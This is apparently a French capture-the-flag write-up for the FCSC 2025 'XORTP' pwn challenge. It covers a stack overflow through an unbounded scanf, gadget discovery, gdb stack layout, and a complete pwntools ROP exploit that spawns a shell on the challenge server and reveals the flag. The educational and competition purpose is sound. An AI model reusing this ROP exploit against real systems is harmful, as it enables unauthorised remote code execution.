Solution de mk_4362 pour XORTP

pwn x86/x64

29 avril 2025

On a quoi ?

D’après l’énoncé, on peut demander au service proposé de nous chiffrer des fichiers présents sur le système distant.

Et plusieurs fichiers :

  • le binaire
  • le code en C

On comprend quoi ?

On commence par analyser un peu ce binaire.

$ file xortp
xortp: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e63dc8ebb3de92c338be2ed7f0590fbbbabd94f6, for GNU/Linux 3.2.0, not stripped
$ checksec --file=xortp
[*] '/home/mk/ctf/fcsc_2025/pwn/xortp/xortp'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Quelques points à noter :

  • x86_64
  • lié statiquement (on aura beaucoup de gadget dans le binaire)
  • PIE n’est pas activé, donc le code ne sera pas chargé à une adresse aléatoire

Cette fois pas besoin de décompiler on a le code source fournit :

#define BUF_SIZE 128

ssize_t get_otp(unsigned char *k, const size_t n)
{
    int fd = open("/dev/urandom", O_RDONLY);
    if (fd < 0) {
    	return -1;
    }

    if (read(fd, k, n) < 0) {
        close(fd);
    	return -1;
    }

    close(fd);
    return n;
}

ssize_t read_file(char *fn, unsigned char *m)
{
    int fd = open(fn, O_RDONLY);
    if (fd < 0) {
    	return -1;
    }

    ssize_t n = read(fd, m, BUF_SIZE);
    if (n < 0) {
    	return -1;
    }

    close(fd);
    return n;
}

int main()
{
    char filename[BUF_SIZE];
    unsigned char m[BUF_SIZE];
    unsigned char k[BUF_SIZE];

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    system("ls -ld *");

    printf("Which file would like to encrypt?\n");
    scanf("%s", filename);

    ssize_t length = read_file(filename, m);
    if (length < 0) {
        printf("Error: read_file\n");
    	return 0;
    }

    if (get_otp(k, length) < 0) {
        printf("Error: get_otp\n");
    	return 0;
    }

    // Output the XOR result
    for (ssize_t i = 0; i < length; ++i) {
    	printf("%02x", m[i] ^ k[i]);
    }
    printf("\n");

    return 0;
}

Le programme :

  • lit le nom d’un fichier soumis par l’utilisateur
  • lit au maximum BUF_SIZE (128 octets) dans ce fichier et les place dans msur la stack
  • génère un mot de passe à usage unique de la longueur précédement lue, le stock dans k sur la stack
  • nous affiche le XOR octet par octet des deux buffers précédents

Que faire ?

On peut vite voir que la longueur du nom de fichier saisi n’est pas vérifiée.

On devrait pouvoir déborder du buffer filename, écraser la sauvegarde de RIP et prendre le contrôle du flow d’exécution.

Le binaire est lié statiquement, sans la protection PIE, on devrait pouvoir trouver une ROPchain pour lui faire exécuter system("/bin/sh")

Une contrainte, notre payload doit commencer par le nom d’un fichier valide et accessible au programme sinon il quitte.

Comment

C’est une ROPchain classique, on a besoin de :

  • adresse d’un gadget ret
  • adresse d’un gadget pop rdi
  • adresse de system
  • adresse de la chaîne /bin/sh
ROPgadget --binary=xortp | grep ' : pop rdi ; ret'
0x0000000000401f60 : pop rdi ; ret

ROPgadget --binary=xortp | grep ' : ret' | head
0x0000000000401016 : ret

objdump -S xortp | grep system
000000000040a3c0 <__libc_system>:

strings -t x xortp | grep '/bin/sh'
  98213 /bin/sh

Où sont les buffers :

On désassemble le main dans gdb :

   0x0000000000401834 <+101>:	lea    rax,[rbp-0x90]       <== filename
   0x000000000040183b <+108>:	mov    rsi,rax
   0x000000000040183e <+111>:	lea    rax,[rip+0x957fd]        # 0x497042
   0x0000000000401845 <+118>:	mov    rdi,rax
   0x0000000000401848 <+121>:	mov    eax,0x0
   0x000000000040184d <+126>:	call   0x40a720 <__isoc99_scanf>

   0x0000000000401852 <+131>:	lea    rdx,[rbp-0x110]      <== m
   0x0000000000401859 <+138>:	lea    rax,[rbp-0x90]       <== filename
   0x0000000000401860 <+145>:	mov    rsi,rdx
   0x0000000000401863 <+148>:	mov    rdi,rax
   0x0000000000401866 <+151>:	call   0x40175d <read_file>

   0x0000000000401893 <+196>:	lea    rax,[rbp-0x190]      <== k
   0x000000000040189a <+203>:	mov    rsi,rdx
   0x000000000040189d <+206>:	mov    rdi,rax
   0x00000000004018a0 <+209>:	call   0x4016e5 <get_otp>

Et sur la stack :

gef➤  x/150gx $rsp
0x7fffffffda00:	0x00007fffffffdb28	0x0000000001a0c23d      #[RSP]
0x7fffffffda10:	0x00000000004ccff8	0x0000000000000001
0x7fffffffda20:	0x0000000000000000	0x0000000000000000
0x7fffffffda30:	0x0000000000000000	0x0000000000000000
0x7fffffffda40:	0x0000000000000000	0x0000000000000000
0x7fffffffda50:	0x0000000000000000	0x0000000000000000
0x7fffffffda60:	0x0000000000000000	0x000000000049b6ea
0x7fffffffda70:	0x00000000004cd388	0x00000000004c0e40
0x7fffffffda80:	0x00000000004ccfd0	0x0000000068308f53
0x7fffffffda90:	0x00007fffffffdbb8	0x0000000000480ae0
0x7fffffffdaa0:	0x0000000000000000	0x00000000004c0e40
0x7fffffffdab0:	0x0000000000000000	0x0000000000000000
0x7fffffffdac0:	0x0000000000000000	0x00000000004ccfd0
0x7fffffffdad0:	0x0000000000000000	0x00007fffffffdb28
0x7fffffffdae0:	0x0000000000000000	0x00007fffffffdb30
0x7fffffffdaf0:	0x00000000004cd388	0x0000000000425364
0x7fffffffdb00:	0x4141414141414141	0x4242424242424242    <== filename
0x7fffffffdb10:	0x00000000004cd600	0x00000000004c47e0
0x7fffffffdb20:	0x0000000000000140	0x00000000004c47e0
0x7fffffffdb30:	0x00000000000000a0	0x00000000004c06d8
0x7fffffffdb40:	0x0000000000000006	0x00007fffffffdbb8
0x7fffffffdb50:	0x00007fffffffdbc0	0x0000000000488fc3
0x7fffffffdb60:	0x0000000000000000	0x0000000000000000
0x7fffffffdb70:	0x00000000004c5240	0x0000000000000000
0x7fffffffdb80:	0x0000000000003928	0x00000000004894b3
0x7fffffffdb90:	0x00000000004c06f0	0x0000000000401c54      #[RBP]


gef➤  x 0x0000000000401c54
0x401c54 <__libc_start_call_main+100>:	0xe8000071d5e8c789

On a l’emplacement du buffer que l’on contrôle et de l’adresse de retour du main (main retourne dans __libc_start_main)

Si on envoie 19 * 8 octets on écrase la sauvegarde de RBP et on commence à écraser la sauvegarde de RIP.

On peut donc préparer notre exploit :

from pwn import *
from time import sleep

exe = context.binary = ELF('./xortp')
HOST = "chall.fcsc.fr"
PORT = 2105

s = connect(HOST, PORT)

pop_rdi = 0x0000000000401f60 # pop rdi ; ret
ret = 0x0000000000401016 # ret

bin_sh = 0x498213
system = 0x40a3c0

payload = b"flag.txt\x00"
payload += b'A' * (8 * 19 - len(payload))
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

print(s.recv())
s.sendline(payload)
s.interactive()
$ python3 exp.py
[+] Opening connection to chall.fcsc.fr on port 2105: Done
[*] Switching to interactive mode
-r-------- 1 ctf ctf     71 Apr 13 21:36 flag.txt
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
Which file would like to encrypt?
59392920faf96826649c2a2d15f116ad545fc9519a4fefccd744b2262017476e7b47a2ff7c42027d5927f015294dbabe0959c88b9b121e921539445dd1070612c8adf126670cda
$ ls
flag.txt
xortp
$ cat flag.txt
FCSC{5f6162c46e47b68ad0d1b4a5e12404ad51431b197e37ff79ef940787fecfb554}